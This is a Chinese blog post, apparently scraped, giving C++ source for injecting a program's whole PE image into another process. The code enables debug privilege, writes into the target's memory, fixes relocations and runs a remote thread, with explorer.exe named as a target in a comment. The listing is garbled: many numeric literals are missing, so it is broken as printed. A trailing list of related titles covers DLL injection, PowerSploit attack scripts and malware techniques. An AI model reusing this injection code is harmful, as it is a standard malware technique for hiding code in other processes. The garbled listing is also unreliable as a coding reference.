// PE注入.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h" #include <windows.h> #include <tlhelp32.h> #include <process.h> #include <stdio.h> #pragma comment (lib, "winmm.lib") #pragma comment (lib, "kernel32.lib") /*获取进程ID号*/ DWORD GetProcessIdByName(LPWSTR name) { PROCESSENTRY32 pe32; HANDLE snapshot = NULL; DWORD pid = ; snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (snapshot != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (!lstrcmp(pe32.szExeFile, name)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return pid; } extern "C" void mainCRTStartup();
DWORD main(); /**
 
* 远程进程内存中注入PE
 
*/ HMODULE injectModule(HANDLE proc, LPVOID module) { DWORD i = ; DWORD_PTR delta = NULL; DWORD_PTR olddelta = NULL; /* 获取模块PE头 */ PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); PIMAGE_DATA_DIRECTORY datadir; /* 计算注入代码长度 */ DWORD moduleSize = headers->OptionalHeader.SizeOfImage; LPVOID distantModuleMemorySpace = NULL; LPBYTE tmpBuffer = NULL; BOOL ok = FALSE; if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; if (IsBadReadPtr(module, moduleSize)) return NULL; distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (distantModuleMemorySpace != NULL) { tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (tmpBuffer != NULL) { RtlCopyMemory(tmpBuffer, module, moduleSize); datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (datadir->Size > && datadir->VirtualAddress > ) { delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase); olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase); PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress); while (reloc->VirtualAddress != ) { if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); for (i = ; i < relocDescNb; i++) { if (relocDescList[i] > ) { DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i])))); *p -= olddelta; *p += delta; } } } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } tmpBuffer[(DWORD)main - (DWORD)module] = 0x55; ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL); } VirtualFree(tmpBuffer, , MEM_RELEASE); } if (!ok) { VirtualFreeEx(proc, distantModuleMemorySpace, , MEM_RELEASE); distantModuleMemorySpace = NULL; } } return (HMODULE)distantModuleMemorySpace; } /**
 
* 获取DEBUG权限
 
*/ BOOL EnableDebugPrivileges(void) { HANDLE token; TOKEN_PRIVILEGES priv; BOOL ret = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { priv.PrivilegeCount = ; priv.Privileges[].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, , NULL, NULL) != FALSE) { ret = TRUE; } CloseHandle(token); } return ret; } BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine) { HANDLE proc, thread; HMODULE module, injectedModule; BOOL result = FALSE; proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (proc != NULL) { module = GetModuleHandle(NULL); injectedModule = (HMODULE)injectModule(proc, module); if (injectedModule != NULL) { LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module)); thread = CreateRemoteThread(proc, NULL, , remoteThread, NULL, , NULL); if (thread != NULL) { CloseHandle(thread); result = TRUE; } else { VirtualFreeEx(proc, module, , MEM_RELEASE); } } CloseHandle(proc); } return result; } DWORD WINAPI entryThread(LPVOID param) { DWORD newModuleD = (DWORD)param; MessageBox(NULL, L"Injection success.Now initializing runtime library.", NULL, ); //mainCRTStartup(); MessageBox(NULL, L"This will never be called.", NULL, ); return ; } void entryPoint() { MessageBox(NULL, L"entryPoint", NULL, ); EnableDebugPrivileges(); //peInjection(GetProcessIdByName(L"explorer.exe"), entryThread);
peInjection( , entryThread); }
DWORD main() { //MessageBox(NULL, L"In Main ", NULL, 0); printf("This printf can work because runtime library is now initialized.\n");
entryPoint(); //(NULL, L"In main end", NULL, 0); ExitThread(); return ; }

通过此方法可将一个进程的完整镜像完全注入到另外一个进程的内存空间中,从而在一个进程空间中包含了两套不同的代码。与DLL注入相比,PE注入的主要优势是不需要很多文件,只需要MAIN.EXE注入到其他进程并唤起自身代码即可。

PE注入的更多相关文章

  1. PE知识复习之PE文件空白区添加代码

    PE知识复习之PE文件空白区添加代码 一丶简介 根据上面所讲PE知识.我们已经可以实现我们的一点手段了.比如PE的入口点位置.改为我们的入口位置.并且填写我们的代码.这个就是空白区添加代码. 我们也可 ...

  2. powersploit的用法

    一.PowerSploit简介 PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察.权限提升.权限维持. Powershel ...

  3. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

  4. powersploit使用实例

    一.AntivirusBypass(绕过杀毒) Find-AVSignature  发现杀软的签名 1.先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.p ...

  5. Exploit Kit——hacker入侵web,某iframe中将加载RIG EK登录页面,最终下载并执行Monero矿工

    RIG Exploit Kit使用PROPagate注入技术传播Monero Miner from:https://www.4hou.com/technology/12310.html 导语:Fire ...

  6. ReflectiveLoader分析(远程线程注入 PE修正)

    从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正 其中需要注入的dll和解析, 内存R ...

  7. PE病毒初探——向exe注入代码

    PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度: PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE.DLL.OCX.SYS.COM都是PE文件 ...

  8. Dll注入:修改PE文件 IAT注入

    PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: ...

  9. DLL注入之修改PE静态注入

    DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...

随机推荐

  1. What technical details should a programmer of a web application consider before making the site public?

    What things should a programmer implementing the technical details of a web application consider bef ...

  2. eval 简单应用

     --> 循环来定义变量 //想定义四个变量 one,two,three,four var initVar = ['one','two','three','four']; initVar.for ...

  3. 后台调取前台js中的函数

    Page.ClientScript.RegisterStartupScript(this.GetType(), "setPicType", "setPicType(2); ...

  4. div+css 设计下拉

    css样式 <style type="text/css"> <!-- /* www.divcss5.com CSS下拉菜单实例 */ * { margin:; p ...

  5. OAuth2.0说明文档

    OAuth2.0说明文档 1.OAuth 2.0 简介 OAuth为应用提供了一种访问受保护资源的方法.在应用访问受保护资源之前,它必须先从资源拥有者处获取授权(访问许可),然后用访问许可交换访问令牌 ...

  6. JQ完成表格单元格顺序的上移下调

    如有指教及疑问,欢迎留言 HTML代码 <table class="exampletable"> <thead> <tr> <th> ...

  7. JS中parseInt()、Numer()深度解析

    JS中字符串转换为数字有两种方式: 1.parseInt函数 定义:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/ ...

  8. Linux解读

    Linux中权限(r.w.x)对于目录与文件的意义 一.权限对于目录的意义 1.首先要明白的是目录主要的内容是记录文件名列表和子目录列表,而不是实际存放数据的地方. 2.r权限:拥有此权限表示可以读取 ...

  9. Java 集合 - HashSet

    一.源码解析 public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable ...

  10. JAVA 1.6 流程控制语句

    1. 条件运算符(三元表达式),其形式为:type d = a ? b : c; 具体化形式为:int d = 2 < 1 ? 3 : 4;2. 轻量级的文本编辑器:UltraEdit.Edit ...